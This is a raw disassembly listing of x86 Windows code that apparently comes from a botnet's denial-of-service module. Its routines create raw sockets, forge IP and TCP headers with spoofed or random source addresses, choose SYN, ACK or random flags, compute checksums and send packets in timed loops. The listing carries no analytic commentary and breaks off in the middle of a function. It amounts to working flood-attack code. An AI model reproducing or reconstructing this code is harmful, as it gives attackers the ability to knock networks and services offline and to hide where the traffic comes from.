		call	dword_4CB6B8	; gethostbyname
		mov	eax, [eax+0Ch]
		push	ebx
		push	3
		push	2
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_C], eax
		call	dword_4CB6B4	; socket
		lea	ecx, [ebp+var_28]
		push	esi
		push	ecx
		push	2
		push	0
		push	eax
		mov	[ebp+var_4], eax
		call	dword_4CB614	; setsockopt
		mov	esi, 200h
		push	esi
		call	sub_41B4D5
		mov	edi, dword_4270A8
		pop	ecx
		mov	[ebp+var_8], eax
		call	edi	; GetTickCount
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_0]
		push	29Ah
		mov	[ebp+var_94], eax
		mov	[ebp+var_98], 2
		call	dword_4CB634	; htons
		mov	[ebp+var_96], ax


loc_413D35:				; CODE XREF: sub_413C1A+1FCj
		call	edi	; GetTickCount
		sub	eax, [ebp+var_10]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		cmp	eax, [ebp+arg_4]
		ja	loc_413E1B
		call	sub_41B8E2
		cdq
		mov	ecx, ebx
		idiv	ecx
		mov	eax, [ebp+var_C]
		and	eax, 0FFFFFFh
		shl	edx, 18h
		or	edx, eax
		mov	[ebp+var_C], edx
		call	sub_41B8E2
		cdq
		mov	ecx, ebx
		idiv	ecx
		mov	[ebp+var_54], edx
		call	sub_41B8E2
		cdq
		mov	ecx, 1FA4h
		mov	[ebp+var_24], 45h
		idiv	ecx
		mov	[ebp+var_23], 4
		mov	[ebp+var_2C], edx
		call	sub_41B8E2
		mov	[ebp+var_20], ax
		call	sub_41B8E2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		mov	ax, word ptr [ebp+edx*4+var_50]
		push	eax
		call	dword_4CB634	; htons
		push	esi
		mov	[ebp+var_1E], ax
		call	dword_4CB634	; htons
		mov	[ebp+var_22], ax
		mov	[ebp+var_1C], bl
		call	sub_41B8E2
		push	0Eh
		cdq
		pop	ecx
		idiv	ecx
		push	14h
		mov	al, byte ptr [ebp+edx*4+var_88]
		mov	[ebp+var_1B], al
		mov	eax, [ebp+var_C]
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_40AC68
		mov	[ebp+var_1A], ax
		lea	eax, [ebp+var_24]
		push	14h
		push	eax
		push	[ebp+var_8]
		call	sub_41C310
		add	esp, 14h
		lea	eax, [ebp+var_98]
		push	10h
		push	eax
		push	0
		push	esi
		push	[ebp+var_8]
		push	[ebp+var_4]
		call	dword_4CB698	; sendto
		jmp	loc_413D35
; ---------------------------------------------------------------------------


loc_413E1B:				; CODE XREF: sub_413C1A+12Cj
		push	[ebp+var_8]
		call	sub_41B0B1
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CB6CC	; closesocket
		push	1
		pop	eax
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_413C1A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413E35	proc near		; DATA XREF: sub_401ACD+53E8o

var_440		= byte ptr -440h
var_240		= dword	ptr -240h
var_23C		= byte ptr -23Ch
var_1BC		= byte ptr -1BCh
var_13C		= byte ptr -13Ch
var_BC		= dword	ptr -0BCh
var_B8		= dword	ptr -0B8h
var_B4		= dword	ptr -0B4h
var_B0		= dword	ptr -0B0h
var_AC		= dword	ptr -0ACh
var_A8		= dword	ptr -0A8h
var_A0		= byte ptr -0A0h
var_9F		= byte ptr -9Fh
var_8C		= byte ptr -8Ch
var_80		= byte ptr -80h
var_78		= byte ptr -78h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= byte ptr -5Ch
var_5B		= byte ptr -5Bh
var_5A		= word ptr -5Ah
var_44		= word ptr -44h
var_42		= word ptr -42h
var_40		= dword	ptr -40h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= byte ptr -2Ch
var_2A		= word ptr -2Ah
var_28		= word ptr -28h
var_26		= word ptr -26h
var_24		= byte ptr -24h
var_23		= byte ptr -23h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_B		= byte ptr -0Bh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 440h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	68h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_240]
		rep movsd
		push	1
		xor	ebx, ebx
		pop	esi
		lea	edi, [ebp+var_9F]
		push	0Eh
		mov	[eax+19Ch], esi
		pop	ecx
		xor	eax, eax
		mov	[ebp+var_A0], bl
		rep stosd
		stosw
		stosb
		mov	edi, dword_4270A8
		call	edi	; GetTickCount
		push	eax
		call	sub_41B8D8
		pop	ecx
		push	0FFh
		push	3
		push	2
		call	dword_4CB6B4	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jnz	short loc_413EFE
		call	dword_4CB5C8	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_440]
		push	offset unk_436544
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp+var_A8], ebx
		jnz	short loc_413EDE
		push	ebx
		lea	eax, [ebp+var_440]
		push	[ebp+var_AC]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_240]
		call	sub_409A72
		add	esp, 14h


loc_413EDE:				; CODE XREF: sub_413E35+84j
		lea	eax, [ebp+var_440]
		push	eax
		call	sub_4151AC
		push	[ebp+var_BC]
		call	sub_40B412
		pop	ecx
		pop	ecx
		push	ebx
		call	dword_4270CC	; ExitThread


loc_413EFE:				; CODE XREF: sub_413E35+61j
		lea	ecx, [ebp+var_34]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_34], esi
		call	dword_4CB614	; setsockopt
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_413F7C
		call	dword_4CB5C8	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_440]
		push	offset unk_43650C
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp+var_A8], ebx
		jnz	short loc_413F5C
		push	ebx
		lea	eax, [ebp+var_440]
		push	[ebp+var_AC]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_240]
		call	sub_409A72
		add	esp, 14h


loc_413F5C:				; CODE XREF: sub_413E35+102j
		lea	eax, [ebp+var_440]
		push	eax
		call	sub_4151AC
		push	[ebp+var_BC]
		call	sub_40B412
		pop	ecx
		pop	ecx
		push	ebx
		call	dword_4270CC	; ExitThread


loc_413F7C:				; CODE XREF: sub_413E35+DFj
		lea	eax, [ebp+var_23C]
		push	eax
		call	dword_4CB674	; inet_addr
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_413FEC
		lea	eax, [ebp+var_440]
		push	offset unk_4364EC
		push	eax
		call	sub_41B886
		cmp	[ebp+var_A8], ebx
		pop	ecx
		pop	ecx
		jnz	short loc_413FCC
		push	ebx
		lea	eax, [ebp+var_440]
		push	[ebp+var_AC]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_240]
		call	sub_409A72
		add	esp, 14h


loc_413FCC:				; CODE XREF: sub_413E35+172j
		lea	eax, [ebp+var_440]
		push	eax
		call	sub_4151AC
		push	[ebp+var_BC]
		call	sub_40B412
		pop	ecx
		pop	ecx
		push	ebx
		call	dword_4270CC	; ExitThread


loc_413FEC:				; CODE XREF: sub_413E35+157j
		push	10h
		lea	eax, [ebp+var_44]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_44], 2
		push	ebx
		call	dword_4CB634	; htons
		mov	[ebp+var_42], ax
		lea	eax, [ebp+var_23C]
		push	eax
		call	dword_4CB674	; inet_addr
		mov	[ebp+var_40], eax
		mov	[ebp+arg_0], ebx
		call	edi	; GetTickCount
		mov	[ebp+var_30], eax


loc_414024:				; CODE XREF: sub_413E35+430j
		call	edi	; GetTickCount
		sub	eax, [ebp+var_30]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		cmp	eax, [ebp+var_B4]
		ja	loc_4142E8
		push	28h
		mov	[ebp+var_2C], 45h
		call	dword_4CB634	; htons
		cmp	[ebp+var_B0], ebx
		mov	[ebp+var_2A], ax
		mov	[ebp+var_28], si
		mov	[ebp+var_26], bx
		mov	[ebp+var_24], 80h
		mov	[ebp+var_23], 6
		mov	[ebp+var_22], bx
		jz	short loc_414097
		call	sub_41B8E2
		mov	esi, eax
		shl	esi, 8
		call	sub_41B8E2
		add	esi, eax
		shl	esi, 8
		call	sub_41B8E2
		add	esi, eax
		shl	esi, 8
		call	sub_41B8E2
		add	esi, eax
		push	1
		mov	[ebp+var_20], esi
		pop	esi
		jmp	short loc_4140AD
; ---------------------------------------------------------------------------


loc_414097:				; CODE XREF: sub_413E35+233j
		push	[ebp+var_240]
		call	sub_40AC0F
		pop	ecx
		push	eax
		call	dword_4CB674	; inet_addr
		mov	[ebp+var_20], eax


loc_4140AD:				; CODE XREF: sub_413E35+260j
		mov	eax, [ebp+var_40]
		cmp	[ebp+var_B8], ebx
		mov	[ebp+var_1C], eax
		jnz	short loc_4140CB
		call	sub_41B8E2
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		jmp	short loc_4140D1
; ---------------------------------------------------------------------------


loc_4140CB:				; CODE XREF: sub_413E35+284j
		push	[ebp+var_B8]


loc_4140D1:				; CODE XREF: sub_413E35+294j
		call	dword_4CB634	; htons
		mov	[ebp+var_16], ax
		call	sub_41B8E2
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		call	dword_4CB634	; htons
		push	12345678h
		mov	[ebp+var_18], ax
		call	dword_4CB630	; htonl
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_1BC]
		push	offset aSyn	; "syn"
		push	eax
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_414121
		mov	[ebp+var_10], ebx
		mov	[ebp+var_B], 2
		jmp	short loc_41417D
; ---------------------------------------------------------------------------


loc_414121:				; CODE XREF: sub_413E35+2E1j
		lea	eax, [ebp+var_1BC]
		push	offset aAck	; "ack"
		push	eax
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_414141
		mov	[ebp+var_10], ebx
		mov	[ebp+var_B], 10h
		jmp	short loc_41417D
; ---------------------------------------------------------------------------


loc_414141:				; CODE XREF: sub_413E35+301j
		lea	eax, [ebp+var_1BC]
		push	offset aRandom_0 ; "random"
		push	eax
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41417D
		call	sub_41B8E2
		push	3
		cdq
		pop	ecx
		idiv	ecx
		mov	[ebp+var_10], edx
		call	sub_41B8E2
		push	2
		cdq
		pop	ecx
		idiv	ecx
		neg	edx
		sbb	dl, dl
		and	dl, 0Eh
		add	dl, cl
		mov	[ebp+var_B], dl


loc_41417D:				; CODE XREF: sub_413E35+2EAj
					; sub_413E35+30Aj ...
		push	200h
		mov	[ebp+var_C], 50h
		call	dword_4CB634	; htons
		mov	[ebp+var_A], ax
		mov	eax, [ebp+var_20]
		mov	[ebp+var_64], eax
		mov	eax, [ebp+var_1C]
		push	14h
		mov	[ebp+var_6], bx
		mov	[ebp+var_8], bx
		mov	[ebp+var_60], eax
		mov	[ebp+var_5C], bl
		mov	[ebp+var_5B], 6
		call	dword_4CB634	; htons
		mov	[ebp+var_5A], ax
		lea	eax, [ebp+var_64]
		push	20h
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41C310
		lea	eax, [ebp+var_18]
		push	14h
		push	eax
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_41C310
		lea	eax, [ebp+var_A0]
		push	34h
		push	eax
		call	sub_40AC68
		mov	[ebp+var_8], ax
		lea	eax, [ebp+var_2C]
		push	14h
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41C310
		lea	eax, [ebp+var_18]
		push	14h
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		call	sub_41C310
		push	4
		lea	eax, [ebp+var_78]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 44h
		lea	eax, [ebp+var_A0]
		push	28h
		push	eax
		call	sub_40AC68
		mov	[ebp+var_22], ax
		lea	eax, [ebp+var_2C]
		push	14h
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41C310
		add	esp, 14h
		lea	eax, [ebp+var_44]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_A0]
		push	3Ch
		push	eax
		push	[ebp+var_4]
		call	dword_4CB698	; sendto
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41426A
		inc	[ebp+arg_0]
		jmp	loc_414024
; ---------------------------------------------------------------------------


loc_41426A:				; CODE XREF: sub_413E35+42Bj
		push	[ebp+var_4]
		call	dword_4CB6CC	; closesocket
		call	dword_4CB5C8	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_23C]
		push	[ebp+arg_0]
		push	eax
		push	offset unk_43649C
		lea	eax, [ebp+var_440]
		push	200h
		push	eax
		call	sub_41B980
		add	esp, 18h
		cmp	[ebp+var_A8], ebx
		jnz	short loc_4142C8
		push	ebx
		lea	eax, [ebp+var_440]
		push	[ebp+var_AC]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_240]
		call	sub_409A72
		add	esp, 14h


loc_4142C8:				; CODE XREF: sub_413E35+46Ej
		lea	eax, [ebp+var_440]
		push	eax
		call	sub_4151AC
		push	[ebp+var_BC]
		call	sub_40B412
		pop	ecx
		pop	ecx
		push	ebx
		call	dword_4270CC	; ExitThread


loc_4142E8:				; CODE XREF: sub_413E35+203j
		push	[ebp+var_4]
		call	dword_4CB6CC	; closesocket
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		imul	eax, 3Ch
		mov	ecx, eax
		shr	eax, 0Ah
		div	[ebp+var_B4]
		shr	ecx, 14h
		push	ecx
		push	eax
		lea	eax, [ebp+var_23C]
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_1BC]
		push	eax
		lea	eax, [ebp+var_440]
		push	offset unk_43644C
		push	eax
		call	sub_41B886
		add	esp, 1Ch
		cmp	[ebp+var_A8], ebx
		jnz	short loc_414359
		push	ebx
		lea	eax, [ebp+var_440]
		push	[ebp+var_AC]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_240]
		call	sub_409A72
		add	esp, 14h


loc_414359:				; CODE XREF: sub_413E35+4FFj
		lea	eax, [ebp+var_440]
		push	eax
		call	sub_4151AC
		push	[ebp+var_BC]
		call	sub_40B412
		pop	ecx
		pop	ecx
		push	ebx
		call	dword_4270CC	; ExitThread
sub_413E35	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414379	proc near		; CODE XREF: sub_414483+19Ap
					; sub_414483+1A9p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		mov	edx, [ebp+arg_0]
		push	esi
		xor	esi, esi
		cmp	eax, 1
		mov	[ebp+arg_4], esi
		jle	short loc_4143A5
		mov	ecx, eax
		push	edi
		shr	ecx, 1
		lea	edi, [ecx+ecx]
		sub	eax, edi


loc_414397:				; CODE XREF: sub_414379+26j
		movzx	edi, word ptr [edx]
		add	esi, edi
		inc	edx
		inc	edx
		dec	ecx
		jnz	short loc_414397
		pop	edi
		cmp	eax, 1


loc_4143A5:				; CODE XREF: sub_414379+12j
		jnz	short loc_4143B2
		mov	al, [edx]
		mov	byte ptr [ebp+arg_4], al
		movzx	eax, word ptr [ebp+arg_4]
		add	esi, eax


loc_4143B2:				; CODE XREF: sub_414379:loc_4143A5j
		mov	ecx, esi
		and	esi, 0FFFFh
		sar	ecx, 10h
		add	ecx, esi
		pop	esi
		mov	eax, ecx
		sar	eax, 10h
		add	eax, ecx
		not	eax
		pop	ebp
		retn
sub_414379	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4143CB	proc near		; DATA XREF: sub_401ACD+6D49o

var_394		= byte ptr -394h
var_194		= dword	ptr -194h
var_190		= byte ptr -190h
var_110		= byte ptr -110h
var_90		= byte ptr -90h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 394h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	65h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_194]
		rep movsd
		mov	dword ptr [eax+190h], 1
		lea	eax, [ebp+var_110]
		push	eax
		call	sub_41B779
		pop	ecx
		push	eax
		lea	eax, [ebp+var_190]
		push	eax
		call	dword_4CB674	; inet_addr
		push	eax
		lea	esi, [ebp+var_194]
		sub	esp, 194h
		push	65h
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_414483
		add	esp, 19Ch
		push	eax
		lea	eax, [ebp+var_394]
		push	offset unk_436578
		push	eax
		call	sub_41B886
		xor	esi, esi
		add	esp, 0Ch
		cmp	[ebp+var_8], esi
		jnz	short loc_414466
		push	esi
		lea	eax, [ebp+var_394]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_90]
		push	eax
		push	[ebp+var_194]
		call	sub_409A72
		add	esp, 14h


loc_414466:				; CODE XREF: sub_4143CB+79j
		lea	eax, [ebp+var_394]
		push	eax
		call	sub_4151AC
		push	[ebp+var_10]
		call	sub_40B412
		pop	ecx
		pop	ecx
		push	esi
		call	dword_4270CC	; ExitThread
sub_4143CB	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414483	proc near		; CODE XREF: sub_4143CB+54p

var_CC		= byte ptr -0CCh
var_AC		= dword	ptr -0ACh
var_A8		= dword	ptr -0A8h
var_A4		= byte ptr -0A4h
var_A3		= byte ptr -0A3h
var_A2		= word ptr -0A2h
var_A0		= byte ptr -0A0h
var_8C		= byte ptr -8Ch
var_78		= word ptr -78h
var_76		= word ptr -76h
var_74		= dword	ptr -74h
var_68		= byte ptr -68h
var_64		= byte ptr -64h
var_63		= byte ptr -63h
var_62		= byte ptr -62h
var_58		= dword	ptr -58h
var_54		= byte ptr -54h
var_52		= word ptr -52h
var_50		= word ptr -50h
var_4E		= word ptr -4Eh
var_4C		= byte ptr -4Ch
var_4B		= byte ptr -4Bh
var_4A		= word ptr -4Ah
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= word ptr -40h
var_3E		= word ptr -3Eh
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= word ptr -30h
var_2E		= word ptr -2Eh
var_2C		= word ptr -2Ch
var_28		= byte ptr -28h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_194		= dword	ptr  19Ch
arg_198		= dword	ptr  1A0h

		push	ebp
		mov	ebp, esp
		sub	esp, 0CCh
		push	ebx
		push	esi
		mov	esi, dword_4270A8
		xor	ebx, ebx
		push	edi
		mov	[ebp+var_4], ebx
		call	esi	; GetTickCount
		push	0FFh
		push	3
		push	2
		mov	[ebp+var_10], eax
		call	dword_4CB6B4	; socket
		mov	[ebp+var_8], eax
		call	esi	; GetTickCount
		push	eax
		call	sub_41B8D8
		pop	ecx
		mov	edi, 578h
		push	edi
		push	9
		push	1
		call	sub_418684
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_28]
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	esi, 5A0h


loc_4144DD:				; CODE XREF: sub_414483+235j
		call	dword_4270A8	; GetTickCount
		sub	eax, [ebp+var_10]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		cmp	eax, [ebp+arg_198]
		ja	loc_4146BD
		cmp	dword_4CEDE8, ebx
		jnz	short loc_41455C
		push	10h
		pop	eax
		mov	[ebp+var_14], eax
		push	eax
		lea	eax, [ebp+var_68]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB5D8	; getsockname
		push	0FFh
		push	1
		call	sub_418684
		pop	ecx
		pop	ecx
		push	eax
		movzx	eax, [ebp+var_62]
		push	eax
		movzx	eax, [ebp+var_63]
		push	eax
		movzx	eax, [ebp+var_64]
		push	eax
		lea	eax, [ebp+var_CC]
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	eax
		call	sub_41B886
		add	esp, 18h
		jmp	short loc_41456F
; ---------------------------------------------------------------------------


loc_41455C:				; CODE XREF: sub_414483+7Ej
		lea	eax, [ebp+var_CC]
		push	offset dword_4CE7C8
		push	eax
		call	sub_41BEB0
		pop	ecx
		pop	ecx


loc_41456F:				; CODE XREF: sub_414483+D7j
		lea	eax, [ebp+var_CC]
		push	eax
		call	dword_4CB674	; inet_addr
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_58]
		and	al, 45h
		push	esi
		or	al, 45h
		mov	[ebp+var_54], 10h
		mov	[ebp+var_58], eax
		call	dword_4CB634	; htons
		mov	[ebp+var_52], ax
		call	sub_41B8E2
		mov	[ebp+var_50], ax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_48], eax
		mov	eax, [ebp+arg_194]
		mov	[ebp+var_4E], 40h
		mov	[ebp+var_4C], 40h
		mov	[ebp+var_4B], 6
		mov	[ebp+var_4A], bx
		mov	[ebp+var_44], eax
		call	sub_41B8E2
		mov	[ebp+var_40], ax
		call	sub_41B8E2
		mov	[ebp+var_3E], ax
		call	sub_41B8E2
		mov	[ebp+var_3C], eax
		call	sub_41B8E2
		mov	[ebp+var_38], eax
		mov	eax, [ebp+var_34]
		and	ax, 0FF50h
		push	14h
		or	al, 50h
		mov	byte ptr [ebp+var_34+2], 18h
		mov	word ptr [ebp+var_34], ax
		mov	ax, [ebp+var_3E]
		mov	[ebp+var_76], ax
		mov	eax, [ebp+var_44]
		mov	[ebp+var_74], eax
		lea	eax, [ebp+var_58]
		push	eax
		mov	[ebp+var_30], 787Dh
		mov	[ebp+var_2E], bx
		mov	[ebp+var_2C], bx
		mov	[ebp+var_78], 2
		call	sub_414379
		mov	[ebp+var_4A], ax
		lea	eax, [ebp+var_58]
		push	28h
		push	eax
		call	sub_414379
		mov	eax, [ebp+var_48]
		add	esp, 10h
		mov	[ebp+var_AC], eax
		mov	eax, [ebp+var_44]
		push	58Ch
		mov	[ebp+var_A8], eax
		mov	[ebp+var_A4], bl
		mov	[ebp+var_A3], 6
		call	dword_427210	; htons
		mov	[ebp+var_A2], ax
		lea	eax, [ebp+var_A0]
		push	14h
		push	eax
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_41C310
		lea	eax, [ebp+var_8C]
		push	edi
		push	eax
		lea	eax, [ebp+var_28]
		push	eax
		call	sub_41C310
		lea	eax, [ebp+var_AC]
		push	598h
		push	eax
		call	sub_414379
		add	esp, 20h
		mov	[ebp+var_2E], ax
		push	10h
		lea	eax, [ebp+var_78]
		push	eax
		push	ebx
		lea	eax, [ebp+var_58]
		push	esi
		push	eax
		push	[ebp+var_8]
		call	dword_4CB698	; sendto
		inc	[ebp+var_4]
		jmp	loc_4144DD
; ---------------------------------------------------------------------------


loc_4146BD:				; CODE XREF: sub_414483+72j
		push	[ebp+var_8]
		call	dword_4CB6CC	; closesocket
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_414483	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4146CE	proc near		; DATA XREF: sub_401ACD+4CBFo

var_414		= byte ptr -414h
var_214		= byte ptr -214h
var_10		= dword	ptr -10h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		mov	edx, [ebp+arg_0]
		push	esi
		mov	eax, 85h
		push	edi
		mov	ecx, eax
		mov	esi, edx
		lea	edi, [ebp+var_214]
		sub	esp, 214h
		rep movsd
		mov	ecx, eax
		lea	esi, [ebp+var_214]
		mov	edi, esp
		mov	dword ptr [edx+210h], 1
		rep movsd
		call	sub_414745
		add	esp, 214h
		push	eax
		lea	eax, [ebp+var_414]
		push	offset unk_4365AC
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_414]
		push	eax
		call	sub_4151AC
		push	[ebp+var_10]
		call	sub_40B412
		add	esp, 14h
		push	0
		call	dword_4270CC	; ExitThread
sub_4146CE	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414745	proc near		; CODE XREF: sub_4146CE+3Bp

var_254		= byte ptr -254h
var_54		= byte ptr -54h
var_34		= byte ptr -34h
var_30		= byte ptr -30h
var_2F		= byte ptr -2Fh
var_2E		= byte ptr -2Eh
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_84		= byte ptr  8Ch
arg_104		= byte ptr  10Ch
arg_184		= byte ptr  18Ch
arg_208		= dword	ptr  210h
arg_20C		= dword	ptr  214h

		push	ebp
		mov	ebp, esp
		sub	esp, 254h
		push	ebx
		push	esi
		mov	ebx, 0FFh
		push	edi
		push	ebx
		push	3
		push	2
		call	dword_4CB6B4	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_C], eax
		jnz	short loc_414783
		lea	eax, [ebp+var_254]
		push	offset unk_43679C
		push	eax
		call	sub_41B886
		pop	ecx
		xor	edi, edi
		pop	ecx
		jmp	loc_414A4C
; ---------------------------------------------------------------------------


loc_414783:				; CODE XREF: sub_414745+22j
		lea	ecx, [ebp+var_14]
		push	4
		push	ecx
		xor	edi, edi
		push	2
		push	edi
		push	eax
		mov	[ebp+var_14], 1
		call	dword_4CB614	; setsockopt
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4147AF
		call	dword_4CB5C8	; WSAGetLastError
		push	eax
		push	offset unk_43674C
		jmp	short loc_4147CA
; ---------------------------------------------------------------------------


loc_4147AF:				; CODE XREF: sub_414745+5Aj
		lea	eax, [ebp+arg_4]
		push	eax
		call	dword_4CB674	; inet_addr
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4147DE
		call	dword_4CB5C8	; WSAGetLastError
		push	eax
		push	offset unk_436708


loc_4147CA:				; CODE XREF: sub_414745+68j
		lea	eax, [ebp+var_254]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	loc_414A4C
; ---------------------------------------------------------------------------


loc_4147DE:				; CODE XREF: sub_414745+77j
		push	edi
		mov	[ebp+var_24], 2
		call	dword_4CB634	; htons
		mov	[ebp+var_22], ax
		lea	eax, [ebp+arg_4]
		push	eax
		call	dword_42720C	; inet_addr
		mov	esi, dword_4270A8
		mov	[ebp+var_20], eax
		call	esi	; GetTickCount
		mov	[ebp+var_8], eax
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_254]
		push	offset unk_4366DC
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp+arg_20C], edi
		jnz	short loc_414847
		push	edi
		lea	eax, [ebp+var_254]
		push	[ebp+arg_208]
		push	eax
		lea	eax, [ebp+arg_184]
		push	eax
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h


loc_414847:				; CODE XREF: sub_414745+E0j
		mov	[ebp+var_4], edi
		call	esi	; GetTickCount
		sub	eax, [ebp+var_8]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	esi, eax
		lea	eax, [ebp+arg_104]
		push	eax
		call	sub_41B779
		cmp	esi, eax
		pop	ecx
		ja	loc_414A02
		mov	esi, 41Ch
		jmp	short loc_41487B
; ---------------------------------------------------------------------------


loc_414876:				; CODE XREF: sub_414745+2B7j
		mov	ebx, 0FFh


loc_41487B:				; CODE XREF: sub_414745+12Fj
		cmp	dword_4CEDE8, edi
		jnz	short loc_4148D5
		push	10h
		pop	eax
		mov	[ebp+var_10], eax
		push	eax
		lea	eax, [ebp+var_34]
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_34]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB5D8	; getsockname
		push	ebx
		push	1
		call	sub_418684
		pop	ecx
		pop	ecx
		push	eax
		movzx	eax, [ebp+var_2E]
		push	eax
		movzx	eax, [ebp+var_2F]
		push	eax
		movzx	eax, [ebp+var_30]
		push	eax
		lea	eax, [ebp+var_54]
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	eax
		call	sub_41B886
		add	esp, 18h
		jmp	short loc_4148E5
; ---------------------------------------------------------------------------


loc_4148D5:				; CODE XREF: sub_414745+13Cj
		lea	eax, [ebp+var_54]
		push	offset dword_4CE7C8
		push	eax
		call	sub_41BEB0
		pop	ecx
		pop	ecx


loc_4148E5:				; CODE XREF: sub_414745+18Ej
		push	esi
		mov	byte_4CE9C8, 45h
		call	dword_4CB634	; htons
		mov	word_4CE9CA, ax
		lea	eax, [ebp+var_54]
